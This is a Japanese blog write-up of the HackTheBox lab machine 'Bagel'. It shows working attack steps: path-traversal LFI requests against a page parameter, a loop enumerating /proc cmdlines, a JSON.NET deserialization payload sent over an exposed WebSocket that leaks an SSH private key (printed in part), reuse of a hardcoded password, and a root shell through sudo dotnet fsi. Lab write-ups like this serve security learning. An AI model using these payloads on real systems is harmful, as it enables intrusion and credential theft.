今回の記事はHackTheBoxのMediumマシン「Bagel」のWriteUpです!
Bagelはドーナツとよく似たパンのことですね。穴が開いていることが特徴なので、マシンのセキュリティ実装にも穴(脆弱性)があるという意味でしょうか。。
攻略目指して頑張ります!
評価は4.6と高いですね。グラフもいい感じにMediumっぽいです。
HackTheBoxってなに?という方はこちらの記事を見てみてください!一緒にハッキングしましょう~。
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Bagel
侵入
それでは、攻略開始です!
まずは、いつものようにポートスキャンから行います。
┌──(kali㉿kali)-[~/Desktop/Bagle]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.201 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey:
| 256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
|_ 256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
5000/tcp open upnp? syn-ack ttl 63
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 400 Bad Request
8000/tcp open http-alt syn-ack ttl 63 Werkzeug/2.2.2 Python/3.10.9
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
22番と5000番、8000番を確認しました。
5000番は400エラーが返されているので、Webとしてアクセスできるのは、8000番のような気がしますね。
開いているポートが分かったので、Webの探索に移りましょう。
8000番にアクセスします。
ベーグルのショッピングサイトが表示されました。
サイトの下に行くと、おいしそうなベーグルの写真が見られます。
まだトップページにアクセスしただけですが、すでに気になる点があります。
それは表示するファイルをURLのpageパラメータで指定していることです。こういった形はLFIが特に発火しやすいので、試してみましょう。
┌──(kali㉿kali)-[~/Desktop/Bagle]
└─$ curl http://bagel.htb:8000?page=../../../etc/passwd
File not found
簡単には発火しませんが、not foundと表示されているので、パスが合っていれば表示されそうな気がします。
根気よく、「../」を増やしていきます。
┌──(kali㉿kali)-[~/Desktop/Bagle]
└─$ curl http://bagel.htb:8000?page=../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
LFIが発火しました!
これを使用してさらに情報列挙を進めていきます。
SSH鍵などは当然出力させることができなかったので、次の手段としてcmdlineを出力させてみます。
┌──(kali㉿kali)-[~/Desktop/Bagle]
└─$ curl http://bagel.htb:8000?page=../../../../../../proc/self/cmdline --output cmdline
┌──(kali㉿kali)-[~/Desktop/Bagle]
└─$ cat cmdline
python3/home/developer/app/app.py
cmdlineの内容から実行されているPythonファイルのパスを確認できました。
次は、このapp.pyに対してLFIを使用します。
┌──(kali㉿kali)-[~/Desktop/Bagle]
└─$ curl http://bagel.htb:8000?page=../../../../../../home/developer/app/app.py --output app.py
┌──(kali㉿kali)-[~/Desktop/Bagle]
└─$ cat app.py
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
色々と出力されていますが、気になる点は下記のWebSocketを使用している部分です。
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
コードによると、まずはWebSocketを利用し、5000番へ接続。その後、orderを送信して、レスポンスとして返ってきた結果をロードしています。
通常、127.0.0.1:5000のような形は内部からのみアクセスを考えられています。しかし、先ほどのnmapの結果でもわかるように、5000番がオープンポートとなっているため、外部からもアクセスができてしまいます。
試しに接続してみましょう。スクリプトを用意します。
┌──(kali㉿kali)-[~/Desktop/Bagle]
└─$ cat test.py
#!/usr/bin/python3
import websocket, json
ws = websocket.WebSocket()
ws.connect("ws://10.10.11.201:5000")
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(result)
ほとんどapp.pyの内容をそのまま使用しているだけです。
スクリプトが準備できたら、実行してみます。
┌──(kali㉿kali)-[~/Desktop/Bagle]
└─$ python3 test.py
{
"UserId": 0,
"Session": "Unauthorized",
"Time": "4:50:54",
"RemoveOrder": null,
"WriteOrder": null,
"ReadOrder": "order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]\norder #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]\norder #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels] \n"
}
ReadOrderの値がうまく出力されているため、ソケットへの接続に成功していることが分かります。このソケットを使用することで何か侵入への手がかりをつかめないでしょうか。
再度コードを見ていると、order関数の横に書いてあるコメントに目が留まりました。
# don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
コメントによると、最初の起動時にdllファイルを指定してdotnetコマンドを実行しているようです。どのようなdllファイルを実行しているのか分かれば、脆弱性を見つけることができるかもしれません。
では、どのように見つけるかですが、PIDを1ずつ増やしていき、dllファイルが実行されているcmdlineを見つけます。
┌──(kali㉿kali)-[~/Desktop/Bagle]
└─$ for i in $(seq 1 1000); do curl http://bagel.htb:8000?page=../../../../../../../proc/$i/cmdline -o -; echo ":PID = $i"; done
...
File not found:PID = 888
File not found:PID = 889
/usr/sbin/NetworkManager--no-daemon:PID = 890
File not found:PID = 891
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll:PID = 892
File not found:PID = 893
python3/home/developer/app/app.py:PID = 894
/usr/sbin/irqbalance--foreground:PID = 895
...
PID892で、bagel.dllが見つけることができました。
dllファイルは、dnSpyを使用してデバッグできます。デバッグするためにダウンロードしておきます。
┌──(kali㉿kali)-[~/Desktop/Bagel]
└─$ curl http://bagel.htb:8000?page=../../../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll --output bagel.dll
ダウンロードできたので、dnSpyを使用しコードを見ていきます。
色々と関数が表示されるのですが、DBが気になるので見てみます。
using System;
using Microsoft.Data.SqlClient;
namespace bagel_server
{
// Token: 0x0200000A RID: 10
public class DB
{
// Token: 0x06000022 RID: 34 RVA: 0x00002518 File Offset: 0x00000718
[Obsolete("The production team has to decide where the database server will be hosted. This method is not fully implemented.")]
public void DB_connection()
{
string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K";
SqlConnection sqlConnection = new SqlConnection(text);
}
}
}
IDとパスワードが表示されています!しかし、developerユーザではSSH接続できませんでした。
さらに列挙を進めていきます。
Handlerクラスを見ていくと、気になるコードを発見しました。
namespace bagel_server
{
// Token: 0x02000005 RID: 5
[NullableContext(1)]
[Nullable(0)]
public class Handler
{
// Token: 0x06000005 RID: 5 RVA: 0x00002094 File Offset: 0x00000294
public object Serialize(object obj)
{
return JsonConvert.SerializeObject(obj, 1, new JsonSerializerSettings
{
TypeNameHandling = 4
});
}
// Token: 0x06000006 RID:6 RVA: 0x000020BC File Offset: 0x000002BC
public object Deserialize(string json)
{
object result;
try
{
result = JsonConvert.DeserializeObeject<Base>(json, new JsonSerializerSettings
{
TypeNameHandling = 4
});
}
catch
{
result = "{¥"Message¥":¥"unknown¥"}";
}
return result;
}
}
}
コードを見てみると、シリアル化と逆シリアル化が実行されていることが分かります。また、TypeNameHandlingが「4」に設定されており、これはAutoを表します。シリアル化のタイプがAutoになっていることから発火する脆弱性に関してGoogleで調べてみると、興味深い記事を見つけました。
記事によると、タイプが「None」以外である場合、JSON逆シリアル化攻撃に対して脆弱になる可能性があるようです。そして、実際に脆弱である場合、コマンドの実行やファイル属性の変更ができてしまうようです。
では、JSON逆シリアル化攻撃を成功させるために、どのようなオブジェクトを使用するかを探します。記事によると、オブジェクトには、空のコンストラクター、またはパラメータを持つ1つのコンストラクターが必要なようです。
Orderクラスを見てみると、記事で紹介された例と全く同じオブジェクトを確認しました。
public class Orders
{
private string order_filename;
private string order_info;
private File file = new File();
public object RemoveOrder {get; set;}
public string WriteOrder
{
get
{
return file.WriteFile;
}
set
{
order_info = value;
file.WriteFile = order_info;
}
}
public string ReadOrder
{
get
{
return file.ReadFile;
}
set
{
order_filename = value;
order_filename = order_filename.Replace("/", "");
order_filename = order_filename.Replace("..", "");
file.ReadFile = order_filename;
}
}
}
RemoveOrderの形が記事で紹介されていた例そのままです。RemoveOrderで使用できるのはWriteOrderとReadOrderのようです。WriteOrderはファイルの書き込みですが、ReadOrderはファイルを読み込むことができそうです。
これを悪用することで、SSH鍵の読み取りを狙います。鍵を出力させるためのスクリプトを用意します。
┌──(kali㉿kali)-[~/Desktop/Bagel]
└─$ cat ssh.py
#!/usr/bin/python3
import websocket, json
ws = websocket.WebSocket()
ws.connect("ws://10.10.11.201:5000/")
order = { "RemoveOrder" : {"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../../home/phil/.ssh/id_rsa"}}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(result)
ReadFileで、id_rsaを指定しています。
用意ができたら実行しましょう。
┌──(kali㉿kali)-[~/Desktop/Bagel]
└─$ python3 ssh.py
{
"UserId": 0,
"Session": "Unauthorized",
"Time": "7:24:12",
"RemoveOrder": {
"$type": "bagel_server.File, bagel",
"ReadFile": "-----BEGIN OPENSSH PRIVATE KEY-----\n
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAYEAu
hIcD7KiWMN8eMlmhdKLDclnn0bXShuMjBYpL5qdhw8m1Re3Ud+2\ns8SIkkk0KmIYED3c7aSC8C74FmvSDxTtNOd3T/
iePRZOBf5CW3gZapHh+mNOrSZk13F28N\ndZiev5vBubKayIfcG8QpkIPbfqwXhKR+qCsfqS//bAMtyHkNn3n9cg7Zr
hufiYCkg9jBjO\nZL4+rw4UyWsONsTdvil6tlc41PXyETJat6dTHSHTKz+S7lL4wR/I+saVvj8KgoYtDCE1sV\nVftU
ZhkFImSL2ApxIv7tYmeJbombYff1SqjHAkdX9VKA0gM0zS7but3/klYq6g3l+NEZOC\nM0/I+30oaBoXCjvupMswiY/
oV9UF7HNruDdo06hEu0ymAoGninXaph+ozjdY17PxNtqFfT\neYBgBoiRW7hnY3cZpv3dLqzQiEqHlsnx2ha/A8UhvL
qYA6PfruLEMxJVoDpmvvn9yFWxU1\nYvkqYaIdirOtX/h25gvfTNvlzxuwNczjS7gGP4XDAAAFgA50jZ4OdI2eAAAAB
3NzaC1yc2\nEAAAGBALoSHA+yoljDfHjJZoXSiw3JZ59G10objIwWKS+anYcPJtUXt1HftrPEiJJJNCpi\nGBA93O2k
gvAu+BZr0g8U7TTnd0/4nj0WTgX+Qlt4GWqR4fpjTq0mZNdxdvDXWYnr+bwbmy\nmsiH3BvEKZCD236sF4SkfqgrH6k
v/2wDLch5DZ95/XIO2a4bn4mApIPYwYzmS+Pq8OFMlr\nDjbE3b4perZXONT18hEyWrenUx0h0ys/ku5S+MEfyPrGlb
4/CoKGLQwhNbFVX7VGYZBSJk\ni9gKcSL+7WJniW6Jm2H39UqoxwJHV/VSgNIDNM0u27rd/5JWKuoN5fjRGTgjNPyPt
9KGga\nFwo77qTLMImP6FfVBexza7g3aNOoRLtMpgKBp4p12qYfqM43WNez8TbahX03mAYAaIkVu4\nZ2N3Gab93S6s
0IhKh5bJ8doWvwPFIby6mAOj367ixDMSVaA6Zr75/chVsVNWL5KmGiHYqz\nrV/4duYL30zb5c8bsDXM40u4Bj+FwwA
AAAMBAAEAAAGABzEAtDbmTvinykHgKgKfg6OuUx\nU+DL5C1WuA/QAWuz44maOmOmCjdZA1M+vmzbzU+NRMZtYJhls\n
-----END OPENSSH PRIVATE KEY-----",
"WriteFile": null
},
"WriteOrder": null,
"ReadOrder": null
}
SSH鍵が出力されています!
philとしてのシェル
それでは鍵を使用して、シェルを取得しましょう。
┌──(kali㉿kali)-[~/Desktop/Bagel]
└─$ ssh -i id_rsa phil@10.10.11.201
Last login: Tue Feb 14 11:47:33 2023 from 10.10.14.19
[phil@bagel ~]$ whoami
phil
侵入成功です!
[phil@bagel ~]$ ls -l
total 4
-rw-r-----. 1 root phil 33 Jun 3 18:25 user.txt
ユーザフラグもゲットできました!
横展開
とりあえず、sudo -lを実行してみます。
[phil@bagel ~]$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for phil:
パスワードが求められました。philユーザではsudoを使用できないようです。
そういえば、dnSpyで認証情報を取得していました。横移動でパスワードを使用できるのではないでしょうか。
横移動するユーザを確認するために、ホームディレクトリを確認しておきましょう。
[phil@bagel home]$ ls -l
total 8
drwx------. 5 developer developer 4096 Jan 20 14:16 developer
drwx------. 4 phil phil 4096 Jan 20 14:14 phil
passwdファイルで一度確認していましたが、developerユーザの存在を再確認できました。
developerとしてのシェル
それでは、dnSpyで取得したパスワードを使用してsuを実行します。
[phil@bagel home]$ su developer
Password:
[developer@bagel home]$ whoami
developer
developerへの移動に成功しました!
権限昇格
新たなユーザになれたので、もう一度sudo -lを実行してみます。
[developer@bagel home]$ sudo -l
Matching Defaults entries for developer on bagel:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME
HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin
User developer may run the following commands on bagel:
(root) NOPASSWD: /usr/bin/dotnet
dotnetにNOPASSWDが設定されています!
GTFOBinsで調べてみると、権限昇格の方法が紹介されていました!
記事の手法を実際に試してみましょう。
rootとしてのシェル
dotnetを実行していきます。
[developer@bagel ~]$ sudo dotnet fsi
Welcome to .NET 6.0!
---------------------
SDK Version: 6.0.113
----------------
Installed an ASP.NET Core HTTPS development certificate.
To trust the certificate run 'dotnet dev-certs https --trust' (Windows and macOS only).
Learn about HTTPS: https://aka.ms/dotnet-https
----------------
Write your first app: https://aka.ms/dotnet-hello-world
Find out whats new: https://aka.ms/dotnet-whats-new
Explore documentation: https://aka.ms/dotnet-docs
Report issues and find source on GitHub: https://github.com/dotnet/core
Use 'dotnet --help' to see available commands or visit: https://aka.ms/dotnet-cli
--------------------------------------------------------------------------------------
Microsoft (R) F# Interactive version 12.0.0.0 for F# 6.0
Copyright (c) Microsoft Corporation. All Rights Reserved.
For help type #help;;
> System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
sh-5.2# whoami
root
権限昇格成功です!
sh-5.2# ls -l /root
total 24
-rw-------. 1 root root 1105 Oct 22 2022 anaconda-ks.cfg
-rwxr-xr-x. 1 root root 16200 Oct 23 2022 bagel
-rw-r-----. 1 root root 33 Jun 3 18:25 root.txt
ルートフラグも取得し、完全攻略です!
攻略を終えて
今回のマシンはとにかく初期侵入が大変でした。特にシリアル化の部分に関しては知見がない状態だったので全ての関数に対して脆弱性があるかないかを調べていくという過酷な作業が続きました。。。その分攻略できた時は嬉しかったです!
逆に権限昇格と横移動は簡単すぎたので少し驚きましたが、初期侵入と合わせて難易度がMediumなら納得です。
攻略の最初の段階としてpageパラメータでのLFIが原因となったマシンでした。やはり、コードの内容を見られることは非常に危険なので、LFIはもちろん、Gitの管理やコメントの内容など特に気を付ける必要がありそうです。
今後もHackTheBoxのWriteUpを投稿していくつもりなので、みていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました!お疲れ様でした〜!